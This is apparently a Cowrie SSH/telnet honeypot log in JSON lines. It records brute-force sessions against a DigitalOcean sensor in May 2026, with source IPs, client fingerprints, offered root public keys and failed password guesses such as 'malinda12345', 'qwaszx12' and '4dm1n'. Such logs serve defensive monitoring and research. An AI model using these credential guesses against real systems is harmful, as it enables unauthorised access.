{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:32:a2:8a:1d:dc:ef:4c:59:e9:7f:aa:d0:90:47:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCryMwaRt7KJDLyYjrpH79amvYE2jzk5/fdw0b8TPDm/87bl+FbZUT0Lyz7ctZTZTEUbdgxewMlF7KrdNJLlePQTEsQC/qGBAVAnkCl0L+Dtat9e0bJBDCrhnaCMLUiWHs5B6Y93apPX+SYxUJqtvM5kQv+8SlqSb84pW3C6HVkJrkCBrt73dEryyBHPm/TrDofRx6NF/4FN3AlNYlCEm5WEsq9Z+p3bDaJuEHrSWaTgXTKpi9XcnWakkdLTcNCmzk1/AdiGhFYEvXyNiu7Z7vJRbxyLtvzDSOnMw+kqgGR/Die5OkRM3V1+ZtI+X6DoWXAohJysKySl1LEoBWfQYQ1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:32:a2:8a:1d:dc:ef:4c:59:e9:7f:aa:d0:90:47:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:49:00.072585Z","src_ip":"191.241.76.128","session":"e5c169d42f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:32:a2:8a:1d:dc:ef:4c:59:e9:7f:aa:d0:90:47:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCryMwaRt7KJDLyYjrpH79amvYE2jzk5/fdw0b8TPDm/87bl+FbZUT0Lyz7ctZTZTEUbdgxewMlF7KrdNJLlePQTEsQC/qGBAVAnkCl0L+Dtat9e0bJBDCrhnaCMLUiWHs5B6Y93apPX+SYxUJqtvM5kQv+8SlqSb84pW3C6HVkJrkCBrt73dEryyBHPm/TrDofRx6NF/4FN3AlNYlCEm5WEsq9Z+p3bDaJuEHrSWaTgXTKpi9XcnWakkdLTcNCmzk1/AdiGhFYEvXyNiu7Z7vJRbxyLtvzDSOnMw+kqgGR/Die5OkRM3V1+ZtI+X6DoWXAohJysKySl1LEoBWfQYQ1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:49:00.078280Z","src_ip":"191.241.76.128","session":"e5c169d42f49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:6b:69:d9:05:bf:fd:e5:b2:94:a8:02:79:78:41:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQL0HeULI0QINGC2zK5NQnBNgvCxQ6gkwO6hnwmWJiH8JZKiqon9QxbirKsMkxzO3JXn/Cs2N+oos5M8tPTc3sLfxI/PS/byu+4XtYSZ8JyGaTNeJpvx2ZibfShHAiRhj5psuFZ3pG0XOOcy5Icx/VYVofqNMXNjK9L3BHfQuP9gO5kbgjaMj2cOaLj5tEnicT8UxG15InkpbiYkYXaXqNJuI7WQKmn3QrLKkLOs838qpqYgVgW4AoFyBKsgFEwrDRfY5OsDC9u4soLkk/MQBjHfWb4BJvwi6WhN2gfhWBwOd7QTRuow/D81a8UbWqKioLJ1Q55sKvugHghdV/y08N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:6b:69:d9:05:bf:fd:e5:b2:94:a8:02:79:78:41:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:49:00.225798Z","src_ip":"191.241.76.128","session":"e5c169d42f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:6b:69:d9:05:bf:fd:e5:b2:94:a8:02:79:78:41:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQL0HeULI0QINGC2zK5NQnBNgvCxQ6gkwO6hnwmWJiH8JZKiqon9QxbirKsMkxzO3JXn/Cs2N+oos5M8tPTc3sLfxI/PS/byu+4XtYSZ8JyGaTNeJpvx2ZibfShHAiRhj5psuFZ3pG0XOOcy5Icx/VYVofqNMXNjK9L3BHfQuP9gO5kbgjaMj2cOaLj5tEnicT8UxG15InkpbiYkYXaXqNJuI7WQKmn3QrLKkLOs838qpqYgVgW4AoFyBKsgFEwrDRfY5OsDC9u4soLkk/MQBjHfWb4BJvwi6WhN2gfhWBwOd7QTRuow/D81a8UbWqKioLJ1Q55sKvugHghdV/y08N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:49:00.229981Z","src_ip":"191.241.76.128","session":"e5c169d42f49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:96:a9:d8:66:c1:1e:78:da:26:18:ad:96:6c:22:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDobEbiZpVtQpNf4ssZYnXYvDOgQbBUZaJNu8qJfT2AiOufHs5TAX7b1ZNhZzBn+FnbQ8lu+8mMDmhU4uesQxw4XEKU7EWV5WJIVwGhQI4goF88gC6ysRD5QIQTZhL34oOj7Uqyidll/xn+Qo1cZUABqRsdblUdt9o+FQTwbWeQ6kT5YtP9NmAyN8CESatYYHWKHc3Dy08Nxp68VkmQviWpH3HY5OEBE7WqACu+IYLDp/2A73QtCdhV2oz/JTfXiPlHckloD1xcDhRYHQhYdo017d2ElAiH5caTB1nPSUPTuByaO7p/FSJ5rRQvR0/v5XkbNdPTciIu6Q/dmdyN+CIL5jutB9u1iemOAcEczVZtWmOerfpwd1GE1o3Xdbo/y9R0YvHsKErHq3aT8L7/ejBWMwZ9ugGRqoH0CaEPRuGfR6V37gaTo92gTE4m3z4HGmkU9WcPutzbVT7LlSVMhOhPPJ7M7QfbMd98MSsyoJ0iH69F/f1alM3H/8EOdmn6uCF39/howFKF9ZTk1xMdkhdO4uqEqjGakw7KvKnrZMtblhDJWNh7HtDfsf3/lIkYyMVEgg74Wxu+m9LGpFHFFmPz454Z2eNdMY5IsMV0MN0Fbd+eo9je0fkjGwm5VS3jqIWVMGgT3PTI8982u59LN9wdS/mXiBkmf1qb03XonYOlww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:96:a9:d8:66:c1:1e:78:da:26:18:ad:96:6c:22:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:49:00.370798Z","src_ip":"191.241.76.128","session":"e5c169d42f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:96:a9:d8:66:c1:1e:78:da:26:18:ad:96:6c:22:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDobEbiZpVtQpNf4ssZYnXYvDOgQbBUZaJNu8qJfT2AiOufHs5TAX7b1ZNhZzBn+FnbQ8lu+8mMDmhU4uesQxw4XEKU7EWV5WJIVwGhQI4goF88gC6ysRD5QIQTZhL34oOj7Uqyidll/xn+Qo1cZUABqRsdblUdt9o+FQTwbWeQ6kT5YtP9NmAyN8CESatYYHWKHc3Dy08Nxp68VkmQviWpH3HY5OEBE7WqACu+IYLDp/2A73QtCdhV2oz/JTfXiPlHckloD1xcDhRYHQhYdo017d2ElAiH5caTB1nPSUPTuByaO7p/FSJ5rRQvR0/v5XkbNdPTciIu6Q/dmdyN+CIL5jutB9u1iemOAcEczVZtWmOerfpwd1GE1o3Xdbo/y9R0YvHsKErHq3aT8L7/ejBWMwZ9ugGRqoH0CaEPRuGfR6V37gaTo92gTE4m3z4HGmkU9WcPutzbVT7LlSVMhOhPPJ7M7QfbMd98MSsyoJ0iH69F/f1alM3H/8EOdmn6uCF39/howFKF9ZTk1xMdkhdO4uqEqjGakw7KvKnrZMtblhDJWNh7HtDfsf3/lIkYyMVEgg74Wxu+m9LGpFHFFmPz454Z2eNdMY5IsMV0MN0Fbd+eo9je0fkjGwm5VS3jqIWVMGgT3PTI8982u59LN9wdS/mXiBkmf1qb03XonYOlww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:49:00.374300Z","src_ip":"191.241.76.128","session":"e5c169d42f49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:51:b6:34:ff:70:df:77:1d:7c:0e:66:1c:56:92:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYjmIwwQX0RnZ9Tpx9xaRDe9EOhJAaspVqalQNm3dyYDlugMEwpdR0s+yii2RukQqPFNo7kHNmqzJPRFncQT5DRrU3QqZ/gzB3DCO/lBCoYOU5bR5hPpxMVdMlB4wbDJxF15WfP17q8QMBLtPgR0PoKaxgJt+hHsDYW/DhY5cS6vIdmvMfUPY+bTe9O65XcLuHbxdJza7WB6QOZzvD2ZxnPCn886pn8fYNV8RE6x/fg1tVH1mA+LTe/P1r8uXq7ZCd/aISd8h2WN7/MEwm1SCCoFHtDr9qiY6MS6XRb2CEYPafAkJcF3x3EkDZMAanxFUZZUB5aT4XFma72aSD4c7L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:51:b6:34:ff:70:df:77:1d:7c:0e:66:1c:56:92:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:49:00.512833Z","src_ip":"191.241.76.128","session":"e5c169d42f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:51:b6:34:ff:70:df:77:1d:7c:0e:66:1c:56:92:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYjmIwwQX0RnZ9Tpx9xaRDe9EOhJAaspVqalQNm3dyYDlugMEwpdR0s+yii2RukQqPFNo7kHNmqzJPRFncQT5DRrU3QqZ/gzB3DCO/lBCoYOU5bR5hPpxMVdMlB4wbDJxF15WfP17q8QMBLtPgR0PoKaxgJt+hHsDYW/DhY5cS6vIdmvMfUPY+bTe9O65XcLuHbxdJza7WB6QOZzvD2ZxnPCn886pn8fYNV8RE6x/fg1tVH1mA+LTe/P1r8uXq7ZCd/aISd8h2WN7/MEwm1SCCoFHtDr9qiY6MS6XRb2CEYPafAkJcF3x3EkDZMAanxFUZZUB5aT4XFma72aSD4c7L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:49:00.517072Z","src_ip":"191.241.76.128","session":"e5c169d42f49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:93:60:a7:e6:e7:84:63:5b:de:1c:9f:8d:a4:aa:60","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOON76j937zbLCld4mxX+deKTN5JsazIRjAZp5qTihj5","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 34:93:60:a7:e6:e7:84:63:5b:de:1c:9f:8d:a4:aa:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:49:00.668476Z","src_ip":"191.241.76.128","session":"e5c169d42f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:93:60:a7:e6:e7:84:63:5b:de:1c:9f:8d:a4:aa:60","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOON76j937zbLCld4mxX+deKTN5JsazIRjAZp5qTihj5","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:49:00.675213Z","src_ip":"191.241.76.128","session":"e5c169d42f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:49:00.819000Z","src_ip":"191.241.76.128","session":"e5c169d42f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.101.220.145","src_port":58976,"dst_ip":"10.17.0.5","dst_port":23,"session":"0132b0c5d50e","protocol":"telnet","message":"New connection: 176.101.220.145:58976 (10.17.0.5:23) [session: 0132b0c5d50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:50:12.382083Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":58424,"dst_ip":"159.203.135.109","dst_port":22,"session":"d84729f33167","protocol":"ssh","message":"New connection: 213.209.159.56:58424 (159.203.135.109:22) [session: d84729f33167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:50:18.940424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:50:18.945800Z","src_ip":"213.209.159.56","session":"d84729f33167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:50:19.028254Z","src_ip":"213.209.159.56","session":"d84729f33167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"malinda","password":"malinda","message":"login attempt [malinda/malinda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:50:19.431478Z","src_ip":"213.209.159.56","session":"d84729f33167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"malinda","password":"malinda1","message":"login attempt [malinda/malinda1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:50:20.526747Z","src_ip":"213.209.159.56","session":"d84729f33167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"malinda","password":"malinda123","message":"login attempt [malinda/malinda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:50:21.614189Z","src_ip":"213.209.159.56","session":"d84729f33167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"malinda","password":"malinda1234","message":"login attempt [malinda/malinda1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:50:22.701888Z","src_ip":"213.209.159.56","session":"d84729f33167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"malinda","password":"malinda12345","message":"login attempt [malinda/malinda12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:50:23.790370Z","src_ip":"213.209.159.56","session":"d84729f33167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:50:24.876596Z","src_ip":"213.209.159.56","session":"d84729f33167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.91295051574707,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:50:25.294911Z","src_ip":"176.101.220.145","session":"0132b0c5d50e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":42070,"dst_ip":"10.17.0.5","dst_port":23,"session":"d646be0fabb7","protocol":"telnet","message":"New connection: 208.92.193.123:42070 (10.17.0.5:23) [session: d646be0fabb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:50:28.496287Z"}
{"eventid":"cowrie.session.closed","duration":31.116262435913086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:50:59.612383Z","src_ip":"208.92.193.123","session":"d646be0fabb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":58080,"dst_ip":"10.17.0.5","dst_port":22,"session":"f27c1bfae3a1","protocol":"ssh","message":"New connection: 103.15.226.202:58080 (10.17.0.5:22) [session: f27c1bfae3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:51:08.552274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:51:08.557864Z","src_ip":"103.15.226.202","session":"f27c1bfae3a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:51:08.808286Z","src_ip":"103.15.226.202","session":"f27c1bfae3a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"obfs123","message":"login attempt [ubuntu/obfs123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:51:09.537959Z","src_ip":"103.15.226.202","session":"f27c1bfae3a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:51:10.783778Z","src_ip":"103.15.226.202","session":"f27c1bfae3a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":36889,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e066a67ecf2","protocol":"ssh","message":"New connection: 193.24.211.100:36889 (159.203.135.109:22) [session: 9e066a67ecf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:51:52.903047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:51:52.908734Z","src_ip":"193.24.211.100","session":"9e066a67ecf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:51:53.018537Z","src_ip":"193.24.211.100","session":"9e066a67ecf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwaszx12","message":"login attempt [root/qwaszx12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:51:53.439354Z","src_ip":"193.24.211.100","session":"9e066a67ecf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:51:54.554781Z","src_ip":"193.24.211.100","session":"9e066a67ecf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":34190,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb08bf31a638","protocol":"ssh","message":"New connection: 57.128.223.80:34190 (10.17.0.5:22) [session: cb08bf31a638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:54:24.975914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:54:24.981656Z","src_ip":"57.128.223.80","session":"cb08bf31a638","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:54:25.110540Z","src_ip":"57.128.223.80","session":"cb08bf31a638","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4dm1n","message":"login attempt [admin/4dm1n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:54:25.561794Z","src_ip":"57.128.223.80","session":"cb08bf31a638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:54:26.670120Z","src_ip":"57.128.223.80","session":"cb08bf31a638","protocol":"ssh"}
